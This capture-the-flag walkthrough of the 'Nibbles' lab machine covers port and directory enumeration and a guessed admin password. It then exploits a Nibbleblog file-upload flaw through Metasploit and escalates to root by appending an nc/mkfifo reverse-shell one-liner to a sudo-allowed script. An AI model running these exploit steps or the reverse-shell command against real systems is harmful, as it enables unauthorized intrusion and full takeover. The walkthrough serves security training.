Enumeration
Nmap
We start by running an nmap
scan on all TCP ports using the flag -sV
to perform a service/version scan:
$ nmap -sV -p- 10.129.96.84
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-20 16:16 EDT
Nmap scan report for 10.129.96.84
Host is up (0.053s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.29 seconds
There is an Apache web server running on port 80.
Port 80
Visiting http://10.129.96.84/
we are greated by a simple HTML page saying Hello world!
.
Viewing the page’s source code reveals a comment left by the developers:
<b>Hello world!</b>
<!-- /nibbleblog/ directory. Nothing interesting here! -->
which lead our search to the directory named /nibbleblog/.
At http://10.129.96.84/nibbleblog/
we find a Nibbleblog instance, a free Blog system using PHP.
Gobuster
We use gobuster
in dir
mode to brute-force directories, passing a wordlist after the -w
flag:
$ gobuster dir -u http://10.129.96.84/nibbleblog/ -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://nibbles/nibbleblog/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.2.0-dev
[+] Timeout: 10s
===============================================================
2022/10/20 16:44:05 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 297]
/.htaccess (Status: 403) [Size: 302]
/.htpasswd (Status: 403) [Size: 302]
/admin (Status: 301) [Size: 313] [--> http://nibbles/nibbleblog/admin/]
/admin.php (Status: 200) [Size: 1401]
/content (Status: 301) [Size: 315] [--> http://nibbles/nibbleblog/content/]
/index.php (Status: 200) [Size: 2987]
/languages (Status: 301) [Size: 317] [--> http://nibbles/nibbleblog/languages/]
/plugins (Status: 301) [Size: 315] [--> http://nibbles/nibbleblog/plugins/]
/README (Status: 200) [Size: 4628]
/themes (Status: 301) [Size: 314] [--> http://nibbles/nibbleblog/themes/]
Progress: 4611 / 4615 (99.91%)===============================================================
2022/10/20 16:44:30 Finished
===============================================================
At http://10.129.96.84/nibbleblog/README
we find information about the Nibbleblog version:
====== Nibbleblog ======
Version: v4.0.3
Codename: Coffee
Release date: 2014-04-01
<SNIP>
This version of Nibbleblog contains a flaw that allows to execute arbitrary code by uploading a file with an executable extension using the My Image plugin, then accessing it via a direct request to the file in content/private/plugins/my_image/image.php (CVE-2015-6967).
At http://10.129.96.84/nibbleblog/content/private/user.xml
we find information about the existence of an admin
user:
<users>
<user username="admin">
<id type="integer">0</id>
<SNIP>
but to login to http://10.129.96.84/nibbleblog/admin/
we still need a password.
After a few tries we manage to get in with the password nibbles
.
Getting a Shell
Metasploit
Now that we have the admin credentials we can use the nibbleblog_file_upload
Metasploit module to exploit the Nibbleblog flaw we found:
msf6 > search nibbleblog
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/nibbleblog_file_upload 2015-09-01 excellent Yes Nibbleblog File Upload Vulnerability
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/nibbleblog_file_upload
msf6 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/nibbleblog_file_upload) > show options
Module options (exploit/multi/http/nibbleblog_file_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-
Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the web application
USERNAME yes The username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.122.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Nibbleblog 4.0.3
Now we set the required options:
msf6 exploit(multi/http/nibbleblog_file_upload) > set RHOSTS 10.129.96.84
RHOSTS => 10.129.96.84
msf6 exploit(multi/http/nibbleblog_file_upload) > set LHOST 10.10.14.22
LHOST => 10.10.14.22
msf6 exploit(multi/http/nibbleblog_file_upload) > set USERNAME admin
USERNAME => admin
msf6 exploit(multi/http/nibbleblog_file_upload) > set PASSWORD nibbles
PASSWORD => nibbles
msf6 exploit(multi/http/nibbleblog_file_upload) > set TARGETURI nibbleblog
TARGETURI => nibbleblog
msf6 exploit(multi/http/nibbleblog_file_upload) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/generic/ssh/interact normal No Interact with Established SSH Connection
4 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
5 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
6 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
7 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
8 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
9 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
10 payload/php/download_exec normal No PHP Executable Download and Execute
11 payload/php/exec normal No PHP Execute Command
12 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
13 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
14 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
15 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
16 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
18 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
19 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
20 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
msf6 exploit(multi/http/nibbleblog_file_upload) > set PAYLOAD 2
PAYLOAD => generic/shell_reverse_tcp
msf6 exploit(multi/http/nibbleblog_file_upload) > check
[*] 10.129.96.84:80 - The target appears to be vulnerable.
msf6 exploit(multi/http/nibbleblog_file_upload) > exploit
[*] Started reverse TCP handler on 10.10.14.22:4444
[+] Deleted image.php
[*] Command shell session 1 opened (10.10.14.22:4444 -> 10.129.96.84:48516) at 2022-10-20 17:42:51 -0400
id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
And we are in as user nibbler
.
We can now upgrade our shell using Python’s pty
module:
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$
and look for the user flag.
User Flag
We find the user flag in nibbler
’s home directory:
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ cd
cd
bash: cd: HOME not set
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ cd /home/nibbler
<ml/nibbleblog/content/private/plugins/my_image$ cd /home/nibbler
nibbler@Nibbles:/home/nibbler$ ls
ls
personal personal.zip user.txt
nibbler@Nibbles:/home/nibbler$ cat user.txt
cat user.txt
220****************d73
Privilege Escalation
Running sudo -l
we find that we can run monitor.sh
as root
with no password:
nibbler@Nibbles:/home/nibbler$ sudo -l
sudo -l
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$
There is no personal
directory in /home/nibbler
.
We can access to the /home/nibbler/personal/stuff/monitor.sh
script by unzipping the personal.zip
archive:
nibbler@Nibbles:/home/nibbler$ unzip personal.zip
unzip personal.zip
Archive: personal.zip
creating: personal/
creating: personal/stuff/
inflating: personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$ cd personal
cd personal
nibbler@Nibbles:/home/nibbler/personal$ ls
ls
stuff
nibbler@Nibbles:/home/nibbler/personal$ cd stuff
cd stuff
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -l
ls -l
total 4
-rwxrwxrwx 1 nibbler nibbler 4015 May 8 2015 monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh
cat monitor.sh
<SNIP>
#! /bin/bash
# unset any variable which system may be using
# clear the screen
clear
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage
while getopts iv name
do
case $name in
i)iopt=1;;
v)vopt=1;;
*)echo "Invalid arg";;
esac
done
if [[ ! -z $iopt ]]
then
{
wd=$(pwd)
basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname
scriptname=$(echo -e -n $wd/ && cat /tmp/scriptname)
su -c "cp $scriptname /usr/bin/monitor" root && echo "Congratulations! Script Installed, now run monitor Command" || echo "Installation failed"
}
fi
<SNIP>
Having full control over the script file, we can append to it a reverse shell one-liner so that when we execute the script with sudo
we will get a reverse shell back as the root
user:
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.22 1234 >/tmp/f' >> monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
We start a netcat listener on our machine to catch the root shell:
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.22] from (UNKNOWN) [10.129.96.84] 54682
# id
uid=0(root) gid=0(root) groups=0(root)
and we are in as root
.
Root Flag
We find the root flag in the root
directory:
# cd /root
# ls
root.txt
# cat root.txt
1e5****************32b